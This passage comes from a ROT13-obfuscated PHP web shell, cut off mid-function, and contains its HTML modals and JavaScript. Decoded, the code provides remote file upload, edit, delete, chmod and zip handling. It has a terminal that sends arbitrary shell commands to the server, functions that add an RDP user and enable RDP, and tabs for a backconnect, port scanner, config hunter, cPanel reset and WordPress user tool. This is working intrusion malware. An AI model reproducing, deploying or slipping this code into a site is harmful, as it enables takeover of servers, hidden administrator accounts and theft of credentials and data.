        <v pynff="snf sn-purpx"></v> Fryrpg
    </qvi>
    <qvi pynff="pbagrkg-zrah-vgrz" bapyvpx="pbagrkgZrahNpgvba('qbjaybnq')">
        <v pynff="snf sn-qbjaybnq"></v> Qbjaybnq
    </qvi>
    <qvi pynff="pbagrkg-zrah-vgrz" bapyvpx="pbagrkgZrahNpgvba('rqvg')">
        <v pynff="snf sn-rqvg"></v> Rqvg
    </qvi>
    <qvi pynff="pbagrkg-zrah-vgrz" bapyvpx="pbagrkgZrahNpgvba('eranzr')">
        <v pynff="snf sn-v-phefbe"></v> Eranzr
    </qvi>
    <qvi pynff="pbagrkg-zrah-vgrz" bapyvpx="pbagrkgZrahNpgvba('puzbq')">
        <v pynff="snf sn-xrl"></v> Crezvffvbaf
    </qvi>
    <qvi pynff="pbagrkg-zrah-vgrz qnatre" bapyvpx="pbagrkgZrahNpgvba('qryrgr')">
        <v pynff="snf sn-genfu"></v> Qryrgr
    </qvi>
</qvi>

<!-- Zbqnyf -->
<qvi vq="hcybnqZbqny" pynff="zbqny">
    <qvi pynff="zbqny-pbagrag">
        <u3 fglyr="znetva-obggbz: 20ck;"><v pynff="snf sn-hcybnq"></v> Hcybnq Svyr</u3>
        <sbez zrgubq="cbfg" rapglcr="zhygvcneg/sbez-qngn">
            <vachg glcr="uvqqra" anzr="npgvba" inyhr="hcybnq">
            <vachg glcr="uvqqra" anzr="qve" inyhr="<?cuc rpub ugzyfcrpvnypunef($pheerag_qve); ?>">
            <vachg glcr="svyr" anzr="svyr" fglyr="znetva: 15ck 0;">
            <qvi fglyr="qvfcynl: syrk; tnc: 10ck; znetva-gbc: 20ck;">
                <ohggba glcr="fhozvg" pynff="oga oga-fhpprff">
                    <v pynff="snf sn-hcybnq"></v> Hcybnq Svyr
                </ohggba>
                <ohggba glcr="ohggba" pynff="oga oga-qnatre" bapyvpx="pybfrZbqny('hcybnqZbqny')">
                    <v pynff="snf sn-gvzrf"></v> Pnapry
                </ohggba>
            </qvi>
        </sbez>
    </qvi>
</qvi>

<qvi vq="zxqveZbqny" pynff="zbqny">
    <qvi pynff="zbqny-pbagrag">
        <u3 fglyr="znetva-obggbz: 20ck;"><v pynff="snf sn-sbyqre-cyhf"></v> Perngr Arj Sbyqre</u3>
        <sbez zrgubq="cbfg">
            <vachg glcr="uvqqra" anzr="npgvba" inyhr="zxqve">
            <vachg glcr="uvqqra" anzr="qve" inyhr="<?cuc rpub ugzyfcrpvnypunef($pheerag_qve); ?>">
            <vachg glcr="grkg" anzr="qveanzr" cynprubyqre="Ragre sbyqre anzr" erdhverq fglyr="znetva: 10ck 0;">
            <qvi fglyr="qvfcynl: syrk; tnc: 10ck; znetva-gbc: 20ck;">
                <ohggba glcr="fhozvg" pynff="oga oga-fhpprff">
                    <v pynff="snf sn-cyhf"></v> Perngr Sbyqre
                </ohggba>
                <ohggba glcr="ohggba" pynff="oga oga-qnatre" bapyvpx="pybfrZbqny('zxqveZbqny')">
                    <v pynff="snf sn-gvzrf"></v> Pnapry
                </ohggba>
            </qvi>
        </sbez>
    </qvi>
</qvi>

<qvi vq="arjsvyrZbqny" pynff="zbqny">
    <qvi pynff="zbqny-pbagrag">
        <u3 fglyr="znetva-obggbz: 20ck;"><v pynff="snf sn-svyr-cyhf"></v> Perngr Arj Svyr</u3>
        <sbez zrgubq="cbfg">
            <vachg glcr="uvqqra" anzr="npgvba" inyhr="arjsvyr">
            <vachg glcr="uvqqra" anzr="qve" inyhr="<?cuc rpub ugzyfcrpvnypunef($pheerag_qve); ?>">
            <vachg glcr="grkg" anzr="svyranzr" cynprubyqre="Ragre svyr anzr (r.t., rknzcyr.gkg)" erdhverq fglyr="znetva: 10ck 0;">
            <grkgnern anzr="svyrpbagrag" cynprubyqre="Svyr pbagrag (bcgvbany)" fglyr="urvtug: 300ck; znetva: 10ck 0; sbag-snzvyl: 'Ebobgb Zbab', zbabfcnpr;"></grkgnern>
            <qvi fglyr="qvfcynl: syrk; tnc: 10ck; znetva-gbc: 20ck;">
                <ohggba glcr="fhozvg" pynff="oga oga-fhpprff">
                    <v pynff="snf sn-cyhf"></v> Perngr Svyr
                </ohggba>
                <ohggba glcr="ohggba" pynff="oga oga-qnatre" bapyvpx="pybfrZbqny('arjsvyrZbqny')">
                    <v pynff="snf sn-gvzrf"></v> Pnapry
                </ohggba>
            </qvi>
        </sbez>
    </qvi>
</qvi>

<qvi vq="rqvgZbqny" pynff="zbqny">
    <qvi pynff="zbqny-pbagrag">
        <u3 fglyr="znetva-obggbz: 20ck;">Rqvg Svyr: <fcna vq="rqvgSvyrAnzr"></fcna></u3>
        <sbez vq="rqvgSbez">
            <vachg glcr="uvqqra" anzr="svyrcngu" vq="rqvgSvyrCngu">
            <grkgnern anzr="pbagrag" vq="rqvgSvyrPbagrag" fglyr="jvqgu:100%; urvtug:60iu; obeqre:1ck fbyvq #prq4qn; cnqqvat:15ck; sbag-snzvyl: 'Ebobgb Zbab', zbabfcnpr; onpxtebhaq: #ssssss; pbybe: #000000; sbag-fvmr: 13ck;"></grkgnern>
            <qvi fglyr="qvfcynl: syrk; tnc: 10ck; znetva-gbc: 20ck;">
                <ohggba glcr="ohggba" pynff="oga oga-fhpprff" bapyvpx="fnirSvyr()">Fnir Punatrf</ohggba>
                <ohggba glcr="ohggba" pynff="oga oga-qnatre" bapyvpx="pybfrZbqny('rqvgZbqny')">Pnapry</ohggba>
            </qvi>
        </sbez>
    </qvi>
</qvi>

<!-- Mvc Svyrf Zbqny -->
<qvi vq="mvcZbqny" pynff="zbqny">
    <qvi pynff="zbqny-pbagrag">
        <u3 fglyr="znetva-obggbz: 20ck;"><v pynff="snf sn-svyr-nepuvir"></v> Perngr Mvc Nepuvir</u3>
        <qvi vq="mvcFryrpgrqSvyrf" fglyr="onpxtebhaq: #s8s9sn; cnqqvat: 10ck; obeqre-enqvhf: 5ck; znetva-obggbz: 15ck; znk-urvtug: 150ck; biresybj-l: nhgb;"></qvi>
        <vachg glcr="grkg" vq="mvcAnzr" cynprubyqre="Nepuvir anzr (r.t., onpxhc.mvc)" inyhr="nepuvir_<?cuc rpub qngr('L-z-q'); ?>.mvc" fglyr="znetva: 10ck 0;">
        <qvi fglyr="qvfcynl: syrk; tnc: 10ck; znetva-gbc: 20ck;">
            <ohggba glcr="ohggba" pynff="oga oga-fhpprff" bapyvpx="perngrMvc()">
                <v pynff="snf sn-svyr-nepuvir"></v> Perngr Mvc
            </ohggba>
            <ohggba glcr="ohggba" pynff="oga oga-qnatre" bapyvpx="pybfrZbqny('mvcZbqny')">
                <v pynff="snf sn-gvzrf"></v> Pnapry
            </ohggba>
        </qvi>
    </qvi>
</qvi>

<!-- Hamvc Svyr Zbqny -->
<qvi vq="hamvcZbqny" pynff="zbqny">
    <qvi pynff="zbqny-pbagrag">
        <u3 fglyr="znetva-obggbz: 20ck;"><v pynff="snf sn-rkcnaq-neebjf-nyg"></v> Rkgenpg Mvc Svyr</u3>
        <fryrpg vq="hamvcSvyrFryrpg" fglyr="znetva: 10ck 0;">
            <bcgvba inyhr="">-- Fryrpg mvc svyr --</bcgvba>
            <?cuc
            $svyrf = @fpnaqve($pheerag_qve);
            vs ($svyrf) {
                sbernpu ($svyrf nf $svyr) {
                    vs ($svyr == '.' || $svyr == '..') pbagvahr;
                    $shyycngu = $pheerag_qve . '/' . $svyr;
                    vs (!vf_qve($shyycngu) && cert_zngpu('/\.(mvc|gne|tm|ene)$/v', $svyr)) {
                        rpub '<bcgvba inyhr="'.ugzyfcrpvnypunef($shyycngu).'">'.ugzyfcrpvnypunef($svyr).'</bcgvba>';
                    }
                }
            }
            ?>
        </fryrpg>
        <vachg glcr="grkg" vq="hamvcCngu" cynprubyqre="Rkgenpgvba cngu (bcgvbany)" inyhr="<?cuc rpub ugzyfcrpvnypunef($pheerag_qve); ?>" fglyr="znetva: 10ck 0;">
        <qvi fglyr="qvfcynl: syrk; tnc: 10ck; znetva-gbc: 20ck;">
            <ohggba glcr="ohggba" pynff="oga oga-fhpprff" bapyvpx="rkgenpgMvc()">
                <v pynff="snf sn-rkcnaq-neebjf-nyg"></v> Rkgenpg
            </ohggba>
            <ohggba glcr="ohggba" pynff="oga oga-qnatre" bapyvpx="pybfrZbqny('hamvcZbqny')">
                <v pynff="snf sn-gvzrf"></v> Pnapry
            </ohggba>
        </qvi>
    </qvi>
</qvi>

<fpevcg>
// Tybony inevnoyrf
yrg pbzznaqUvfgbel = WFBA.cnefr(ybpnyFgbentr.trgVgrz('pbzznaqUvfgbel') || '[]');
yrg pheeragUvfgbelVaqrk = -1;
yrg fryrpgrqSvyrf = arj Frg();
yrg pbagrkgZrahGnetrg = ahyy;

// Vavgvnyvmr ba cntr ybnq
qbphzrag.nqqRiragYvfgrare('QBZPbagragYbnqrq', shapgvba() {
    ybnqPebagno();
    hcqngrPbzznaqUvfgbelQvfcynl();
    
    // Sbphf grezvany vachg jura grezvany gno vf npgvir
    pbafg grezvanyVachg = qbphzrag.trgRyrzragOlVq('grezvanyVachg');
    vs (grezvanyVachg) {
        grezvanyVachg.sbphf();
        
        // Ragre xrl gb rkrphgr pbzznaq
        grezvanyVachg.nqqRiragYvfgrare('xrlcerff', shapgvba(r) {
            vs (r.xrl === 'Ragre') {
                rkrphgrPbzznaq();
            }
        });
        
        // Neebj hc/qbja sbe pbzznaq uvfgbel
        grezvanyVachg.nqqRiragYvfgrare('xrlqbja', shapgvba(r) {
            vs (r.xrl === 'NeebjHc') {
                r.ceriragQrsnhyg();
                anivtngrUvfgbel(-1);
            } ryfr vs (r.xrl === 'NeebjQbja') {
                r.ceriragQrsnhyg();
                anivtngrUvfgbel(1);
            }
        });
    }

    // Pbagrkg zrah unaqyvat
    qbphzrag.nqqRiragYvfgrare('pbagrkgzrah', shapgvba(r) {
        vs (r.gnetrg.pybfrfg('.svyr-vgrz')) {
            r.ceriragQrsnhyg();
            fubjPbagrkgZrah(r);
        }
    });

    qbphzrag.nqqRiragYvfgrare('pyvpx', shapgvba() {
        uvqrPbagrkgZrah();
    });

    // Svyr fryrpgvba unaqyvat
    qbphzrag.nqqRiragYvfgrare('pyvpx', shapgvba(r) {
        vs (r.gnetrg.pybfrfg('.svyr-vgrz') && !r.gnetrg.pybfrfg('.svyr-npgvbaf')) {
            pbafg svyrVgrz = r.gnetrg.pybfrfg('.svyr-vgrz');
            vs (r.pgeyXrl || r.zrgnXrl) {
                // Zhygv-fryrpg jvgu Pgey/Pzq
                gbttyrSvyrFryrpgvba(svyrVgrz);
            } ryfr vs (r.fuvsgXrl) {
                // Enatr fryrpg jvgu Fuvsg
                fryrpgSvyrEnatr(svyrVgrz);
            } ryfr {
                // Fvatyr fryrpg
                pyrneFryrpgvba();
                gbttyrSvyrFryrpgvba(svyrVgrz);
            }
            hcqngrFryrpgvbaHV();
        }
    });
});

// Gno fjvgpuvat shapgvbaf
shapgvba fubjJcHfre() { fjvgpuGno('jcHfre'); }
shapgvba fubjCbegFpnaare() { fjvgpuGno('cbegFpnaare'); }
shapgvba fubjJrofuryyFpnaare() { fjvgpuGno('jrofuryyFpnaare'); }
shapgvba fubjOnpxpbaarpg() { fjvgpuGno('onpxpbaarpg'); }
shapgvba fubjPbasvtUhagre() { fjvgpuGno('pbasvtUhagre'); }
shapgvba fubjPcnaryErfrg() { fjvgpuGno('pcnaryErfrg'); }
shapgvba fubjPebagnoZnantre() { fjvgpuGno('pebagno'); }
shapgvba fubjEqcZnantre() { fjvgpuGno('eqcZnantre'); }

shapgvba fubjHcybnq() {
    qbphzrag.trgRyrzragOlVq('hcybnqZbqny').fglyr.qvfcynl = 'oybpx';
}

shapgvba fubjZxqve() {
    qbphzrag.trgRyrzragOlVq('zxqveZbqny').fglyr.qvfcynl = 'oybpx';
}

shapgvba fubjArjSvyr() {
    qbphzrag.trgRyrzragOlVq('arjsvyrZbqny').fglyr.qvfcynl = 'oybpx';
}

shapgvba fubjMvcSvyrf() {
    vs (fryrpgrqSvyrf.fvmr === 0) erghea;
    
    pbafg svyrYvfg = qbphzrag.trgRyrzragOlVq('mvcFryrpgrqSvyrf');
    svyrYvfg.vaareUGZY = '<fgebat>Fryrpgrq svyrf:</fgebat><oe>' + 
        Neenl.sebz(fryrpgrqSvyrf).znc(svyr => `• ${svyr}`).wbva('<oe>');
    
    qbphzrag.trgRyrzragOlVq('mvcZbqny').fglyr.qvfcynl = 'oybpx';
}

shapgvba fubjHamvcSvyr() {
    qbphzrag.trgRyrzragOlVq('hamvcZbqny').fglyr.qvfcynl = 'oybpx';
}

shapgvba pybfrZbqny(vq) {
    qbphzrag.trgRyrzragOlVq(vq).fglyr.qvfcynl = 'abar';
}

shapgvba fjvgpuGno(gnoAnzr) {
    // Uvqr nyy gno pbagragf
    qbphzrag.dhrelFryrpgbeNyy('.gno-pbagrag').sbeRnpu(gno => {
        gno.pynffYvfg.erzbir('npgvir');
    });
    
    // Erzbir npgvir pynff sebz nyy gno ohggbaf
    qbphzrag.dhrelFryrpgbeNyy('.gno-ohggba').sbeRnpu(ohggba => {
        ohggba.pynffYvfg.erzbir('npgvir');
    });
    
    // Fubj fryrpgrq gno pbagrag
    qbphzrag.trgRyrzragOlVq(gnoAnzr).pynffYvfg.nqq('npgvir');
    
    // Npgvingr fryrpgrq gno ohggba
    rirag.gnetrg.pynffYvfg.nqq('npgvir');
    
    // Sbphf grezvany vachg jura fjvgpuvat gb grezvany
    vs (gnoAnzr === 'grezvany') {
        frgGvzrbhg(() => {
            qbphzrag.trgRyrzragOlVq('grezvanyVachg').sbphf();
        }, 100);
    }
}

// Svyr Fryrpgvba Shapgvbaf
shapgvba gbttyrSvyrFryrpgvba(svyrVgrz) {
    pbafg svyrAnzr = svyrVgrz.qngnfrg.svyr;
    vs (fryrpgrqSvyrf.unf(svyrAnzr)) {
        fryrpgrqSvyrf.qryrgr(svyrAnzr);
        svyrVgrz.pynffYvfg.erzbir('fryrpgrq');
    } ryfr {
        fryrpgrqSvyrf.nqq(svyrAnzr);
        svyrVgrz.pynffYvfg.nqq('fryrpgrq');
    }
}

shapgvba pyrneFryrpgvba() {
    fryrpgrqSvyrf.pyrne();
    qbphzrag.dhrelFryrpgbeNyy('.svyr-vgrz.fryrpgrq').sbeRnpu(vgrz => {
        vgrz.pynffYvfg.erzbir('fryrpgrq');
    });
}

shapgvba fryrpgSvyrEnatr(gnetrgVgrz) {
    pbafg svyrVgrzf = Neenl.sebz(qbphzrag.dhrelFryrpgbeNyy('.svyr-vgrz'));
    pbafg gnetrgVaqrk = svyrVgrzf.vaqrkBs(gnetrgVgrz);
    
    vs (fryrpgrqSvyrf.fvmr === 0) {
        gbttyrSvyrFryrpgvba(gnetrgVgrz);
        erghea;
    }
    
    // Svaq svefg fryrpgrq vgrz
    yrg svefgFryrpgrqVaqrk = -1;
    sbe (yrg v = 0; v < svyrVgrzf.yratgu; v++) {
        vs (svyrVgrzf[v].pynffYvfg.pbagnvaf('fryrpgrq')) {
            svefgFryrpgrqVaqrk = v;
            oernx;
        }
    }
    
    vs (svefgFryrpgrqVaqrk === -1) erghea;
    
    // Fryrpg enatr
    pbafg fgneg = Zngu.zva(svefgFryrpgrqVaqrk, gnetrgVaqrk);
    pbafg raq = Zngu.znk(svefgFryrpgrqVaqrk, gnetrgVaqrk);
    
    sbe (yrg v = fgneg; v <= raq; v++) {
        pbafg svyrAnzr = svyrVgrzf[v].qngnfrg.svyr;
        fryrpgrqSvyrf.nqq(svyrAnzr);
        svyrVgrzf[v].pynffYvfg.nqq('fryrpgrq');
    }
}

shapgvba hcqngrFryrpgvbaHV() {
    pbafg pbhag = fryrpgrqSvyrf.fvmr;
    qbphzrag.trgRyrzragOlVq('fryrpgrqPbhag').grkgPbagrag = pbhag;
    qbphzrag.trgRyrzragOlVq('mvcOga').qvfnoyrq = pbhag === 0;
}

// Pbagrkg Zrah Shapgvbaf
shapgvba fubjPbagrkgZrah(r) {
    pbafg pbagrkgZrah = qbphzrag.trgRyrzragOlVq('pbagrkgZrah');
    pbagrkgZrahGnetrg = r.gnetrg.pybfrfg('.svyr-vgrz');
    
    pbagrkgZrah.fglyr.qvfcynl = 'oybpx';
    pbagrkgZrah.fglyr.yrsg = r.cntrK + 'ck';
    pbagrkgZrah.fglyr.gbc = r.cntrL + 'ck';
    
    r.ceriragQrsnhyg();
}

shapgvba uvqrPbagrkgZrah() {
    qbphzrag.trgRyrzragOlVq('pbagrkgZrah').fglyr.qvfcynl = 'abar';
    pbagrkgZrahGnetrg = ahyy;
}

shapgvba pbagrkgZrahNpgvba(npgvba) {
    vs (!pbagrkgZrahGnetrg) erghea;
    
    pbafg svyrCngu = pbagrkgZrahGnetrg.qngnfrg.cngu;
    pbafg svyrAnzr = pbagrkgZrahGnetrg.qngnfrg.svyr;
    pbafg svyrGlcr = pbagrkgZrahGnetrg.qngnfrg.glcr;
    
    fjvgpu (npgvba) {
        pnfr 'fryrpg':
            gbttyrSvyrFryrpgvba(pbagrkgZrahGnetrg);
            hcqngrFryrpgvbaHV();
            oernx;
        pnfr 'qbjaybnq':
            vs (svyrGlcr !== 'qve') {
                jvaqbj.ybpngvba.uers = '?npgvba=qbjaybnq&svyr=' + rapbqrHEVPbzcbarag(svyrCngu) + '&qve=' + rapbqrHEVPbzcbarag('<?cuc rpub $pheerag_qve; ?>');
            }
            oernx;
        pnfr 'rqvg':
            vs (svyrGlcr !== 'qve') {
                rqvgSvyr(svyrCngu);
            }
            oernx;
        pnfr 'eranzr':
            eranzrSvyr(svyrCngu);
            oernx;
        pnfr 'puzbq':
            pbafg pheeragCrez = pbagrkgZrahGnetrg.dhrelFryrpgbe('.svyr-crezvffvba').grkgPbagrag;
            puzbqSvyr(svyrCngu, pheeragCrez);
            oernx;
        pnfr 'qryrgr':
            qryrgrSvyr(svyrCngu);
            oernx;
    }
    
    uvqrPbagrkgZrah();
}

// Mvc/Hamvc Shapgvbaf
shapgvba perngrMvc() {
    pbafg mvcAnzr = qbphzrag.trgRyrzragOlVq('mvcAnzr').inyhr;
    vs (!mvcAnzr) {
        nyreg('Cyrnfr ragre n mvc svyr anzr');
        erghea;
    }
    
    pbafg svyrf = Neenl.sebz(fryrpgrqSvyrf);
    
    srgpu('', {
        zrgubq: 'CBFG',
        urnqref: {
            'Pbagrag-Glcr': 'nccyvpngvba/k-jjj-sbez-heyrapbqrq',
        },
        obql: `nwnk=gehr&npgvba=mvc_svyrf&svyrf=${rapbqrHEVPbzcbarag(WFBA.fgevatvsl(svyrf))}&mvc_anzr=${rapbqrHEVPbzcbarag(mvcAnzr)}`
    })
    .gura(erfcbafr => erfcbafr.wfba())
    .gura(qngn => {
        vs (qngn.fhpprff) {
            nyreg('Mvc svyr perngrq fhpprffshyyl: ' + qngn.bhgchg);
            pybfrZbqny('mvcZbqny');
            // Erserfu cntr gb fubj arj mvc svyr
            frgGvzrbhg(() => {
                jvaqbj.ybpngvba.erybnq();
            }, 1000);
        } ryfr {
            nyreg('Reebe perngvat mvc: ' + qngn.bhgchg);
        }
    })
    .pngpu(reebe => {
        nyreg('Reebe: ' + reebe);
    });
}

shapgvba rkgenpgMvc() {
    pbafg mvcSvyr = qbphzrag.trgRyrzragOlVq('hamvcSvyrFryrpg').inyhr;
    pbafg rkgenpgCngu = qbphzrag.trgRyrzragOlVq('hamvcCngu').inyhr;
    
    vs (!mvcSvyr) {
        nyreg('Cyrnfr fryrpg n mvc svyr');
        erghea;
    }
    
    srgpu('', {
        zrgubq: 'CBFG',
        urnqref: {
            'Pbagrag-Glcr': 'nccyvpngvba/k-jjj-sbez-heyrapbqrq',
        },
        obql: `nwnk=gehr&npgvba=hamvc_svyr&mvc_svyr=${rapbqrHEVPbzcbarag(mvcSvyr)}&rkgenpg_cngu=${rapbqrHEVPbzcbarag(rkgenpgCngu)}`
    })
    .gura(erfcbafr => erfcbafr.wfba())
    .gura(qngn => {
        vs (qngn.fhpprff) {
            nyreg('Mvc svyr rkgenpgrq fhpprffshyyl: ' + qngn.bhgchg);
            pybfrZbqny('hamvcZbqny');
            // Erserfu cntr gb fubj rkgenpgrq svyrf
            frgGvzrbhg(() => {
                jvaqbj.ybpngvba.erybnq();
            }, 1000);
        } ryfr {
            nyreg('Reebe rkgenpgvat mvc: ' + qngn.bhgchg);
        }
    })
    .pngpu(reebe => {
        nyreg('Reebe: ' + reebe);
    });
}

// EQC Shapgvbaf
shapgvba nqqEqcHfre() {
    pbafg hfreanzr = qbphzrag.trgRyrzragOlVq('eqcHfreanzr').inyhr;
    pbafg cnffjbeq = qbphzrag.trgRyrzragOlVq('eqcCnffjbeq').inyhr;
    
    vs (!hfreanzr || !cnffjbeq) {
        nyreg('Cyrnfr ragre obgu hfreanzr naq cnffjbeq');
        erghea;
    }
    
    srgpu('', {
        zrgubq: 'CBFG',
        urnqref: {
            'Pbagrag-Glcr': 'nccyvpngvba/k-jjj-sbez-heyrapbqrq',
        },
        obql: `nwnk=gehr&npgvba=nqq_eqc_hfre&hfreanzr=${rapbqrHEVPbzcbarag(hfreanzr)}&cnffjbeq=${rapbqrHEVPbzcbarag(cnffjbeq)}`
    })
    .gura(erfcbafr => erfcbafr.wfba())
    .gura(qngn => {
        pbafg bhgchg = qbphzrag.trgRyrzragOlVq('eqcZnantreBhgchg');
        vs (qngn.fhpprff) {
            bhgchg.vaareUGZY = `<qvi fglyr="pbybe: #28n745;">${qngn.bhgchg}</qvi>`;
        } ryfr {
            bhgchg.vaareUGZY = `<qvi fglyr="pbybe: #qp3545;">${qngn.bhgchg}</qvi>`;
        }
    })
    .pngpu(reebe => {
        qbphzrag.trgRyrzragOlVq('eqcZnantreBhgchg').vaareUGZY = `<qvi fglyr="pbybe: #qp3545;">Reebe: ${reebe}</qvi>`;
    });
}

shapgvba ranoyrEqc() {
    srgpu('', {
        zrgubq: 'CBFG',
        urnqref: {
            'Pbagrag-Glcr': 'nccyvpngvba/k-jjj-sbez-heyrapbqrq',
        },
        obql: 'nwnk=gehr&npgvba=ranoyr_eqc'
    })
    .gura(erfcbafr => erfcbafr.wfba())
    .gura(qngn => {
        pbafg bhgchg = qbphzrag.trgRyrzragOlVq('eqcZnantreBhgchg');
        vs (qngn.fhpprff) {
            bhgchg.vaareUGZY = `<qvi fglyr="pbybe: #28n745;">${qngn.bhgchg}</qvi>`;
        } ryfr {
            bhgchg.vaareUGZY = `<qvi fglyr="pbybe: #qp3545;">${qngn.bhgchg}</qvi>`;
        }
    })
    .pngpu(reebe => {
        qbphzrag.trgRyrzragOlVq('eqcZnantreBhgchg').vaareUGZY = `<qvi fglyr="pbybe: #qp3545;">Reebe: ${reebe}</qvi>`;
    });
}

// Grezvany shapgvbaf
shapgvba rkrphgrPbzznaq(pzq = ahyy) {
    pbafg grezvanyVachg = qbphzrag.trgRyrzragOlVq('grezvanyVachg');
    pbafg rkrphgrOga = qbphzrag.trgRyrzragOlVq('rkrphgrOga');
    pbafg pbzznaq = pzq || grezvanyVachg.inyhr.gevz();
    
    vs (!pbzznaq) erghea;
    
    // Nqq gb pbzznaq uvfgbel
    vs (!pbzznaqUvfgbel.vapyhqrf(pbzznaq)) {
        pbzznaqUvfgbel.hafuvsg(pbzznaq);
        vs (pbzznaqUvfgbel.yratgu > 20) {
            pbzznaqUvfgbel.cbc();
        }
        ybpnyFgbentr.frgVgrz('pbzznaqUvfgbel', WFBA.fgevatvsl(pbzznaqUvfgbel));
        hcqngrPbzznaqUvfgbelQvfcynl();
    }
    
    // Pyrne vachg naq qvfnoyr ohggba
    grezvanyVachg.inyhr = '';
    rkrphgrOga.qvfnoyrq = gehr;
    rkrphgrOga.grkgPbagrag = 'Rkrphgvat...';
    
    // Fubj pbzznaq va bhgchg
    pbafg grezvanyBhgchg = qbphzrag.trgRyrzragOlVq('grezvanyBhgchg');
    grezvanyBhgchg.vaareUGZY += `<qvi pynff="grezvany-cebzcg">$ ${pbzznaq}</qvi>`;
    grezvanyBhgchg.fpebyyGbc = grezvanyBhgchg.fpebyyUrvtug;
    
    // Rkrphgr pbzznaq ivn NWNK
    srgpu('', {
        zrgubq: 'CBFG',
        urnqref: {
            'Pbagrag-Glcr': 'nccyvpngvba/k-jjj-sbez-heyrapbqrq',
        },
        obql: `nwnk=gehr&npgvba=rkrphgr_pbzznaq&pbzznaq=${rapbqrHEVPbzcbarag(pbzznaq)}`
    })
    .gura(erfcbafr => erfcbafr.wfba())
    .gura(qngn => {
        vs (qngn.fhpprff) {
            grezvanyBhgchg.vaareUGZY += `<qvi pynff="grezvany-bhgchg-yvar">${qngn.bhgchg}</qvi>`;
        } ryfr {
            grezvanyBhgchg.vaareUGZY += `<qvi pynff="grezvany-bhgchg-yvar" fglyr="pbybe: #qp3545;">Reebe: ${qngn.bhgchg}</qvi>`;
        }
        grezvanyBhgchg.fpebyyGbc = grezvanyBhgchg.fpebyyUrvtug;
    })
    .pngpu(reebe => {
        grezvanyBhgchg.vaareUGZY += `<qvi pynff="grezvany-bhgchg-yvar" fglyr="pbybe: #qp3545;">Argjbex reebe: ${reebe}</qvi>`;
        grezvanyBhgchg.fpebyyGbc = grezvanyBhgchg.fpebyyUrvtug;
    })
    .svanyyl(() => {
        // Er-ranoyr ohggba
        rkrphgrOga.qvfnoyrq = snyfr;
        rkrphgrOga.grkgPbagrag = 'Rkrphgr';
        grezvanyVachg.sbphf();
        pheeragUvfgbelVaqrk = -1;
    });
}

shapgvba rkrphgrPbzznaqJvguQve(pzq) {
    pbafg pheeragQve = '<?cuc rpub nqqfynfurf($pheerag_qve); ?>';
    pbafg pbzznaq = `pq "${pheeragQve}" && ${pzq}`;
    rkrphgrPbzznaq(pbzznaq);
}

shapgvba vafregPbzzbaPbzznaqJvguQve(pzq) {
    pbafg grezvanyVachg = qbphzrag.trgRyrzragOlVq('grezvanyVachg');
    grezvanyVachg.inyhr = pzq;
    grezvanyVachg.sbphf();
}

shapgvba pyrneGrezvany() {
    qbphzrag.trgRyrzragOlVq('grezvanyBhgchg').vaareUGZY = '<qvi>// Grezvany pyrnerq</qvi>';
}

shapgvba vafregPbzzbaPbzznaq(pzq) {
    pbafg grezvanyVachg = qbphzrag.trgRyrzragOlVq('grezvanyVachg');
    grezvanyVachg.inyhr = pzq;
    grezvanyVachg.sbphf();
}

shapgvba hcqngrPbzznaqUvfgbelQvfcynl() {
    pbafg uvfgbelPbagnvare = qbphzrag.trgRyrzragOlVq('pbzznaqUvfgbel');
    vs (uvfgbelPbagnvare && pbzznaqUvfgbel.yratgu > 0) {
        uvfgbelPbagnvare.vaareUGZY = '<fgebat>Pbzznaq Uvfgbel:</fgebat><oe>' + 
            pbzznaqUvfgbel.fyvpr(0, 5).znc((pzq, vaqrk) => 
                `<qvi pynff="pbzznaq-vgrz" bapyvpx="vafregPbzzbaPbzznaq('${pzq.ercynpr(/'/t, "\\'")}')">${pzq}</qvi>`
            ).wbva('');
    }
}

shapgvba anivtngrUvfgbel(qverpgvba) {
    vs (pbzznaqUvfgbel.yratgu === 0) erghea;
    
    pbafg grezvanyVachg = qbphzrag.trgRyrzragOlVq('grezvanyVachg');
    
    vs (pheeragUvfgbelVaqrk === -1) {
        pheeragUvfgbelVaqrk = qverpgvba === -1 ? 0 : pbzznaqUvfgbel.yratgu - 1;
    } ryfr {
        pheeragUvfgbelVaqrk += qverpgvba;
        vs (pheeragUvfgbelVaqrk < 0) pheeragUvfgbelVaqrk = pbzznaqUvfgbel.yratgu - 1;
        vs (pheeragUvfgbelVaqrk >= pbzznaqUvfgbel.yratgu) pheeragUvfgbelVaqrk = 0;
    }
    
    grezvanyVachg.inyhr = pbzznaqUvfgbel[pheeragUvfgbelVaqrk];
}

// Svyr rqvgbe shapgvbaf
shapgvba rqvgSvyr(svyrcngu) {
    srgpu('', {
        zrgubq: 'CBFG',
        urnqref: {
            'Pbagrag-Glcr': 'nccyvpngvba/k-jjj-sbez-heyrapbqrq',
        },
        obql: `nwnk=gehr&npgvba=trg_svyr_pbagrag&svyrcngu=${rapbqrHEVPbzcbarag(svyrcngu)}`
    })
    .gura(erfcbafr => erfcbafr.wfba())
    .gura(qngn => {
        vs (qngn.fhpprff) {
            qbphzrag.trgRyrzragOlVq('rqvgSvyrCngu').inyhr = svyrcngu;
            qbphzrag.trgRyrzragOlVq('rqvgSvyrAnzr').grkgPbagrag = svyrcngu.fcyvg('/').cbc();
            qbphzrag.trgRyrzragOlVq('rqvgSvyrPbagrag').inyhr = qngn.pbagrag;
            qbphzrag.trgRyrzragOlVq('rqvgZbqny').fglyr.qvfcynl = 'oybpx';
        } ryfr {
            nyreg('Reebe ybnqvat svyr: ' + qngn.reebe);
        }
    })
    .pngpu(reebe => {
        nyreg('Reebe ybnqvat svyr: ' + reebe);
    });
}

shapgvba fnirSvyr() {
    pbafg svyrcngu = qbphzrag.trgRyrzragOlVq('rqvgSvyrCngu').inyhr;
    pbafg pbagrag = qbphzrag.trgRyrzragOlVq('rqvgSvyrPbagrag').inyhr;
    
    srgpu('', {
        zrgubq: 'CBFG',
        urnqref: {
            'Pbagrag-Glcr': 'nccyvpngvba/k-jjj-sbez-heyrapbqrq',
        },
        obql: `nwnk=gehr&npgvba=fnir_svyr_pbagrag&svyrcngu=${rapbqrHEVPbzcbarag(svyrcngu)}&pbagrag=${rapbqrHEVPbzcbarag(pbagrag)}`
    })
    .gura(erfcbafr => erfcbafr.wfba())
    .gura(qngn => {
        vs (qngn.fhpprff) {
            nyreg('Svyr fnirq fhpprffshyyl!');
            pybfrZbqny('rqvgZbqny');
            // Erserfu gur cntr gb fubj hcqngrq svyr yvfg
            frgGvzrbhg(() => {
                jvaqbj.ybpngvba.erybnq();
            }, 500);
        } ryfr {
            nyreg('Reebe fnivat svyr: ' + qngn.reebe);
        }
    })
    .pngpu(reebe => {
